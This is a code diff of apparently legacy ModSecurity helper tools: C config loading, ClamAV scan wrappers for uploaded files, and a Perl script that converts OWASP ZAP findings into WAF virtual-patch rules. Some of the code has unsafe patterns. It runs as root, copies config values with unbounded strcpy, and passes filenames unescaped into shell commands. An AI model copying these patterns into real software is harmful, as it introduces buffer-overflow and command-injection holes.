strcpy(modsec_rpc_externalnic_lockfile,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_MUI_LOCKFILE",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc_mui_lockfile,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_LOG_LEVEL",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc_log_level,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_HOME",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_home,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_IP",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_ip,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_PORT",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_port,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_NETWORK_PREFIX",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_network_prefix,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_BIN",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_bin,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_CONF",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_conf,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_EXT_NIC",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_ext_nic,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_PID",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_pid,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_WHITELIST",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_whitelist,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_BLACKLIST",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_blacklist,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_TIMEOUT",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_timeout,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_EXCHANGE",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_exchange,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_EXT_IPS",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_ext_ips,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_MUI_UI_ADMIN",parameters,num_of_params)) >= 0)
strcpy(modsec_mui_ui_admin,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC_PASSWORD_FILE",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc_password_file,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_MUI_UI_IPADDRESS",parameters,num_of_params)) >= 0)
strcpy(modsec_mui_ui_ipaddress,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_MUI_UI_PORT",parameters,num_of_params)) >= 0)
strcpy(modsec_mui_ui_port,parameters[idx].value);
if ((idx = find_param_idx("SENSOR_ID",parameters,num_of_params)) >= 0)
strcpy(sensor_id,parameters[idx].value);
if ((idx = find_param_idx("SERIAL",parameters,num_of_params)) >= 0)
strcpy(serial,parameters[idx].value);
if ((idx = find_param_idx("VERSION_NUMBER",parameters,num_of_params)) >= 0)
strcpy(version_number,parameters[idx].value);
if ((idx = find_param_idx("RELEASE_DATE",parameters,num_of_params)) >= 0)
strcpy(release_date,parameters[idx].value);
if ((idx = find_param_idx("BRIDGE_MODE",parameters,num_of_params)) >= 0)
strcpy(bridge_mode,parameters[idx].value);
if ((idx = find_param_idx("DATA_DISK_SPACE",parameters,num_of_params)) >= 0)
strcpy(data_disk_space,parameters[idx].value);
if ((idx = find_param_idx("CONN_RATE",parameters,num_of_params)) >= 0)
strcpy(conn_rate,parameters[idx].value);
if ((idx = find_param_idx("CONN_RATE_PER_ADDR",parameters,num_of_params)) >= 0)
strcpy(conn_rate_per_addr,parameters[idx].value);
if ((idx = find_param_idx("CONNS",parameters,num_of_params)) >= 0)
strcpy(conns,parameters[idx].value);
if ((idx = find_param_idx("CONNS_PER_ADDR",parameters,num_of_params)) >= 0)
strcpy(conns_per_addr,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_RPC",parameters,num_of_params)) >= 0)
strcpy(modsec_rpc,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy,parameters[idx].value);
if ((idx = find_param_idx("MODSEC_PROXY_SCRIPT",parameters,num_of_params)) >= 0)
strcpy(modsec_proxy_script,parameters[idx].value);
return num_of_params;
}
int init_cgi()
{
char *modsec;
setresuid(0,0,0);
setresgid(0,0,0);
strcpy(modsec_cli_home,"/opt/modsecurity-cli");
strcpy(modsec_rpc_home,"/opt/modsecurity-rpc");
strcpy(modsec_rpc_log_file,"/opt/modsecurity-rpc/var/logs/rpc.log");
strcpy(modsec_rpc_log_level,"0");
strcpy(modsec_rpc_ssl_lockfile,"/opt/modsecurity-rpc/var/run/ssl.lock");
strcpy(modsec_rpc_sensor_lockfile,"/opt/modsecurity-rpc/var/run/sensor.lock");
strcpy(modsec_rpc_externalnic_lockfile,"/opt/modsecurity-rpc/var/run/externalnic.lock");
strcpy(modsec_rpc_reverseproxy_lockfile,"/opt/modsecurity-rpc/var/run/reverseproxy.lock");
strcpy(modsec_rpc_mui_lockfile,"/opt/modsecurity-rpc/var/run/mui.lock");
strcpy(modsec_proxy_home,"/opt/modsecurity-proxy");
strcpy(modsec_proxy_ip,"127.0.0.2");
strcpy(modsec_proxy_port,"80");
strcpy(modsec_proxy_bin,"/bin/modsec-proxyd");
strcpy(modsec_proxy_script,"/etc/init.d/modsec-proxy");
strcpy(modsec_proxy_conf,"/etc/httpd.conf");
strcpy(modsec_proxy_ext_nic,"eth0");
strcpy(modsec_proxy_network_prefix,"172.16.0.0/12");
strcpy(modsec_proxy_pid,"/opt/modsecurity-proxy/var/run/httpd.pid");
strcpy(modsec_proxy_whitelist,"/opt/breach/etc/modsec_whitelist.conf");
strcpy(modsec_proxy_blacklist,"/opt/breach/etc/modsec_blacklist.conf");
strcpy(modsec_proxy_timeout,"120");
strcpy(modsec_proxy_exchange,"/opt/modsecurity-proxy/var/exchange");
strcpy(modsec_proxy_ext_ips,"/opt/breach/etc/modsec_ips.conf");
strcpy(modsec_mui_ui_ipaddress,"127.0.0.1");
strcpy(modsec_mui_ui_port,"443");
strcpy(modsec_rpc_password_file,"/opt/modsecurity-rpc/etc/.htpasswd");
strcpy(modsec_mui_ui_admin,"admin");
strcpy(sensor_id,"1");
strcpy(serial,"1");
strcpy(version_number,"2.0");
strcpy(bridge_mode,"off");
strcpy(data_disk_space,"60");
strcpy(release_date,"11-15-2006");
strcpy(conn_rate,"0");
strcpy(conn_rate_per_addr,"0");
strcpy(conns,"0");
strcpy(conns_per_addr,"0");
if (modsec = getenv("MODSEC"))
read_conf_file(modsec);
else {
if (!read_conf_file("/opt/breach/etc/modsec.conf"))
read_conf_file("/etc/modsec.conf");
}
return 0;
}

View File

@@ -0,0 +1,99 @@
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <dirent.h>
#include <time.h>
#include <fcntl.h>
#include <crypt.h>
#define MAX_PARAMS 256
#define MAX_IPS 256
#define MAX_NAME_LENGTH 256
#define MAX_VALUE_LENGTH 1024
#define MAX_CMD_LENGTH 1024
#define MAX_TOKEN_LENGTH 1024
#define MAX_OUTPUT_LINE_LEN (1024)
#define MAX_OUTPUT_SIZE (MAX_OUTPUT_LINE_LEN*1024)
#define WHITE 1
#define BLACK 0
#define NONE 0
#define DEBUG 1
typedef struct {
char name[MAX_NAME_LENGTH];
char value[MAX_VALUE_LENGTH];
} parameter_t;
typedef struct {
char ip[16];
time_t start;
long duration;
time_t end;
char token[MAX_TOKEN_LENGTH];
} blocklist_t;
EXTERN int lock_file(char *filename);
EXTERN int unlock_file(int fd);
EXTERN int print_reply(char *reply);
EXTERN int print_error(char *func1, char* func2, char* str, int err);
EXTERN int print_request(char* url,char *command,parameter_t *parameters, int num_of_parameters, int mask);
EXTERN int print_request_force(char* url,char *command,parameter_t *parameters, int num_of_parameters, int mask);
EXTERN int is_proxy_up();
EXTERN int run_cmd(char *command, char *output, int output_size);
EXTERN int parse_cli (parameter_t *parameters, int max_parameters, int num_of_args, char *args[]);
EXTERN int parse_query_and_body(parameter_t *parameters, int max_parameters);
EXTERN int parse_query(char *query, parameter_t *parameters, int max_parameters);
EXTERN int parse_file(char *filename, parameter_t *parameters, int max_parameters);
EXTERN int copy_file(char *src_file, char *dst_file);
EXTERN int change_file(char *filename, parameter_t parameter);
EXTERN int find_param_idx(char *parameter_name, parameter_t *parameters, int max_parameters);
EXTERN int init_cgi();
EXTERN int send_request(char *request,char *ip,char *port,char *reply,int max_reply_size);
EXTERN int find_ip_idx(char *ip, blocklist_t *blocklist, int num_of_ips);
EXTERN int remove_ip_idx(char *ip, blocklist_t *blocklist, int num_of_ips);
EXTERN char modsec_rpc[1024];
EXTERN char modsec_rpc_home[1024];
EXTERN char modsec_rpc_log_file[1024];
EXTERN char modsec_rpc_log_level[1024];
EXTERN char modsec_rpc_ssl_lockfile[1024];
EXTERN char modsec_rpc_externalnic_lockfile[1024];
EXTERN char modsec_rpc_sensor_lockfile[1024];
EXTERN char modsec_rpc_reverseproxy_lockfile[1024];
EXTERN char modsec_rpc_mui_lockfile[1024];
EXTERN char modsec_proxy[1024];
EXTERN char modsec_proxy_home[1024];
EXTERN char modsec_proxy_script[1024];
EXTERN char modsec_proxy_ip[1024];
EXTERN char modsec_proxy_port[1024];
EXTERN char modsec_proxy_bin[1024];
EXTERN char modsec_proxy_conf[1024];
EXTERN char modsec_proxy_ext_nic[1024];
EXTERN char modsec_proxy_pid[1024];
EXTERN char modsec_proxy_whitelist[1024];
EXTERN char modsec_proxy_blacklist[1024];
EXTERN char modsec_proxy_network_prefix[1024];
EXTERN char modsec_proxy_timeout[1024];
EXTERN char modsec_proxy_exchange[1024];
EXTERN char modsec_proxy_ext_ips[1024];
EXTERN char modsec_rpc_password_file[1024];
EXTERN char modsec_mui_ui_admin[1024];
EXTERN char modsec_mui_ui_ipaddress[1024];
EXTERN char modsec_mui_ui_port[1024];
EXTERN char modsec_cli_home[1024];
EXTERN char sensor_id[1024];
EXTERN char serial[1024];
EXTERN char version_number[1024];
EXTERN char bridge_mode[1024];
EXTERN char data_disk_space[1024];
EXTERN char release_date[1024];
EXTERN char conn_rate[1024];
EXTERN char conn_rate_per_addr[1024];
EXTERN char conns[1024];
EXTERN char conns_per_addr[1024];

View File

@@ -0,0 +1,2 @@
gcc -c -o common.o -DEXTERN= common.c
gcc -o runAV -DEXTERN=extern common.o runAV.c

View File

@@ -0,0 +1,48 @@
#include "common.h"
main(int argc, char *argv[])
{
char cmd[MAX_OUTPUT_SIZE];
char output[MAX_OUTPUT_SIZE];
int error;
char *colon;
char *keyword;
if (argc > 1) {
sprintf (cmd, "/usr/bin/clamdscan --no-summary %s", argv[1]);
output[0] = '\0';
error = run_cmd(cmd,output,MAX_OUTPUT_SIZE);
if (error != 0) {
printf ("1 exec error %d: OK", error);
} else if (!*output) {
printf ("1 exec empty: OK");
}
else {
colon = strstr(output, ":");
if (colon) { colon += 2; }
if (!colon) {
printf ("0 unable to parse clamdscan output [%s] for cmd [%s]", output, cmd);
}
else if (keyword = strstr(colon, " FOUND")) {
*keyword = '\0';
printf ("0 clamdscan: %s", colon);
}
else if (keyword = strstr(colon, " ERROR")) {
*keyword = '\0';
printf ("0 clamdscan: %s", colon);
}
else if (keyword = strstr(colon, "OK")) {
printf ("1 clamdscan: OK");
}
else if (keyword = strstr(colon, "Empty file")) {
printf ("1 empty file");
}
else if (keyword = strstr(colon, "Can't access file ")) {
printf ("0 invalid file %s", keyword+18);
}
else {
printf ("0 unable to parse clamdscan output [%s] for cmd [%s]", output, cmd);
}
}
}
}

View File

@@ -0,0 +1,48 @@
#include "common.h"
main(int argc, char *argv[])
{
char cmd[MAX_OUTPUT_SIZE];
char output[MAX_OUTPUT_SIZE];
int error;
char *colon;
char *keyword;
if (argc > 1) {
sprintf (cmd, "/usr/bin/clamscan --no-summary %s", argv[1]);
output[0] = '\0';
error = run_cmd(cmd,output,MAX_OUTPUT_SIZE);
if (error != 0) {
printf ("1 exec error %d: OK", error);
} else if (!*output) {
printf ("1 exec empty: OK");
}
else {
colon = strstr(output, ":");
if (colon) { colon += 2; }
if (!colon) {
printf ("0 unable to parse clamscan output [%s] for cmd [%s]", output, cmd);
}
else if (keyword = strstr(colon, " FOUND")) {
*keyword = '\0';
printf ("0 clamscan: %s", colon);
}
else if (keyword = strstr(colon, " ERROR")) {
*keyword = '\0';
printf ("0 clamscan: %s", colon);
}
else if (keyword = strstr(colon, "OK")) {
printf ("1 clamscan: OK");
}
else if (keyword = strstr(colon, "Empty file")) {
printf ("1 empty file");
}
else if (keyword = strstr(colon, "Can't access file ")) {
printf ("0 invalid file %s", keyword+18);
}
else {
printf ("0 unable to parse clamscan output [%s] for cmd [%s]", output, cmd);
}
}
}
}

View File

@@ -0,0 +1,40 @@
#!/usr/bin/perl
#
# runav.pl
# Copyright (c) 2004-2011 Trustwave
#
# This script is an interface between ModSecurity and its
# ability to intercept files being uploaded through the
# web server, and ClamAV
$CLAMSCAN = "clamscan";
if ($#ARGV != 0) {
print "Usage: modsec-clamscan.pl <filename>\n";
exit;
}
my ($FILE) = shift @ARGV;
$cmd = "$CLAMSCAN --stdout --disable-summary $FILE";
$input = `$cmd`;
$input =~ m/^(.+)/;
$error_message = $1;
$output = "0 Unable to parse clamscan output [$1]";
if ($error_message =~ m/: Empty file\.?$/) {
$output = "1 empty file";
}
elsif ($error_message =~ m/: (.+) ERROR$/) {
$output = "0 clamscan: $1";
}
elsif ($error_message =~ m/: (.+) FOUND$/) {
$output = "0 clamscan: $1";
}
elsif ($error_message =~ m/: OK$/) {
$output = "1 clamscan: OK";
}
print "$output\n";

View File

@@ -0,0 +1,318 @@
#!/opt/local/bin/perl -T
#############################################
# -=[ Virtual Patching Converter Script ]=- #
# Converts OWASP ZAP XML Ouput #
# https://code.google.com/p/zaproxy/ #
# #
# zap2modsec.pl #
# Version: 1.0 #
# #
# Copyright 2011 #
# Trustwave's SpiderLabs Research Team #
# www.trustwave.com #
# #
# Based On Code Originally Created by: #
# The Denim Group #
# www.denimgroup.com #
#############################################
use XML::Smart;
use Switch;
use Data::Types qw(:all);
use Data::Validate::URI qw(is_uri);
use Getopt::Std;
use Acme::Comment type=>'C++', one_line=>1; #Block commenting, can be removed later
#############
# Variables #
#############
# [Configuration Vars]
my %param;
getopt("f",\%param);
$filename = $param{f};
my $all_vulnerabilities_filename = "$filename";
unless ($filename) {
print "Flag:\n\n\t -f:\t path to ZAP xml report file\nUsage:\n\n\t./zap2modsec.pl -f ./zap_report.xml\n\n";
exit;
}
my $modsec_rules_file = "./modsecurity_crs_48_virtual_patches.conf";
# [End Config Vars]
my $VULN_CLASS_XSS = "Cross Site Scripting";
my $VULN_CLASS_SQLI = "SQL Injection";
my $VULN_CLASS_SQLI_FINGERPRINT = "SQL Injection Fingerprinting";
my $VULN_CLASS_LFI = "Path Traversal";
my $VULN_CLASS_RFI = "Remote File Inclusion";
my $VULN_CLASS_HTTPRS = "HTTP Response Splitting";
# Only the vulnerabilities in this array will have
# rules generated for them.
my @supported_vulns = ($VULN_CLASS_XSS, $VULN_CLASS_SQLI, $VULN_CLASS_SQLI_FINGERPRINT, $VULN_CLASS_LFI, $VULN_CLASS_RFI, $VULN_CLASS_HTTPRS);
my $num_rules_generated=0;
my $num_not_supported=0;
my $num_bad_urls=0;
my $wait_for_keypress=1;
my $request_failed=0;
my $all_vulns_xml;
my @type;
my @id;
my $vuln_count;
my $num_attacks_flag=0;
my $num_attacks_noflag=0;
# End Vars ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#############
# Main #
#############
# Clean up env so perl doesn't complain
# when trying to run the restart snort
# script.
delete @ENV{qw(IFS CDPATH ENV BASH_ENV PATH)};
$all_vulns_xml = XML::Smart->new($all_vulnerabilities_filename);
@type = $all_vulns_xml->{OWASPZAPReport}{site}{alerts}{alertitem}('[@]','alert');
@url = $all_vulns_xml->{OWASPZAPReport}{site}{alerts}{alertitem}('[@]','uri');
@param = $all_vulns_xml->{OWASPZAPReport}{site}{alerts}{alertitem}('[@]','param');
open(my $MODSEC_RULES, '>' , $modsec_rules_file) || die "Unable to open modsecurity rules file $modsec_rules_file";
$MODSEC_RULES->autoflush(1);
$vuln_count = 0;
foreach my $current_type (@type){
print "==================================================================================================\n";
print "Vulnerability[$vuln_count] - Type: $current_type\n";
if(exists {map { $_ => 1 } @supported_vulns}->{$current_type}){
parseData(to_string($current_type));
}else {
print "Vulnerability Type: $type is not supported in this version.\n";
$num_not_supported++;
}
$vuln_count++;
}
close($MODSEC_RULES);
print "==================================================================================================\n";
print "\n\n************ END OF SCRIPT RESULTS *****************\n";
print "Number of Vulnerabilities Processed: $vuln_count\n";
print "Number of ModSecurity rules generated: $num_rules_generated\n";
print "Number of Unsupported vulns skipped: $num_not_supported\n";
print "Number of bad URLs (rules not gen): $num_bad_urls\n";
print "****************************************************\n\n";
print "----------------------------------------------------\n";
print "To activate the virtual patching file ($modsec_rules_file),\n";
print "copy it into the CRS \"base_rules\" directory and then create\n";
print "a symlink to it in the \"activated_rules\" directory.\n";
print "-----------------------------------------------------\n\n";
###############
# Subroutines #
###############
sub parseData
{
my($vuln_str) = @_;
my $vuln_detail_filename;
my $current_vuln_xml;
my $current_vuln_url;
my $current_vuln_param;
my $current_uricontent;
my @current_params;
my $id = $vuln_count;
print "Found a $vuln_str vulnerability.\n";
$current_vuln_xml = XML::Smart->new($all_vulnerabilities_filename);
$current_vuln_url = $url[$vuln_count];
print URL_LIST "$current_vuln_url\n";
# Validate url (need seperate sub?)
print "Validating URL: $current_vuln_url\n";
if(is_uri(to_string($current_vuln_url))){
print "URL is well-formed\n";
print "Continuing Rule Generation\n";
} else {
print "URL is NOT well-formed. Breaking Out of Rule Generation\n";
$num_bad_urls++;
# Waits for keypress in test mode so you can
# see why the URL failed validation.
if($test_mode){
wait_for_keypress();
}
return;
}
$current_uricontent = get_uricontent($current_vuln_url);
# Only need param if XSS attack,SQLINJ,XPATH
# and maybe for HTTPRS, DT.
# NOT for PRL and DI
if(($vuln_str ne $VULN_CLASS_PRL) && ($vuln_str ne $VULN_CLASS_DI)){
@current_params = $param[$vuln_count];
}
if(($vuln_str ne $VULN_CLASS_PRL) && ($vuln_str ne $VULN_CLASS_DI)){
print "Current vulnerable Param(s): @current_params\n";
}
generate_patch($vuln_str,$current_uricontent,@current_params);
}
sub generate_patch
{
my($type,$uricontent,@params,$current_vuln_xml) = @_;
my $rule = "";
$id = "1".$vuln_count;
switch($type)
{
case ($VULN_CLASS_XSS)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
# Check to see if each vulnerable parameter is valid
# then generate a rule using both uricontent and the
# parameter
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/XSS.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_XSS (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_SQLI)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/SQL_INJECTION.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_SQLI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_BLIND_SQLI)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/SQL_INJECTION.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_SQLI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_LFI)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/LFI',tag:'WASCTC/WASC-33',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/LFI.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_LFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_RFI)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/RFI',tag:'WASCTC/WASC-05',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/RFI.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_LFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
case ($VULN_CLASS_HTTPRS)
{
if($uricontent ne "" && @params){
foreach(@params){
if($_ ne ""){
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/RESPONSE_SPLITTING',tag:'WASCTC/WASC-25',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/RESPONSE_SPLITTING.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
print "$VULN_CLASS_RFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
$num_rules_generated++;
}
}
}
}
}
}
sub get_uricontent
{
my($url) = @_;
my $regex = "http:\/\/+[a-zA-Z0-9.:-]*\/";
# First, trim the first part out of the URL:
# http://.../
$url =~ /$regex/;
substr($url,index($url,$&),length($&)) = "";
# If the URL contains a php or cgi query with
# one or more params and values, trim those out.
# Trim from the question mark to the end.
if($url =~ /\?/){
substr($url,index($url,"?")) = "";
}
return $url;
}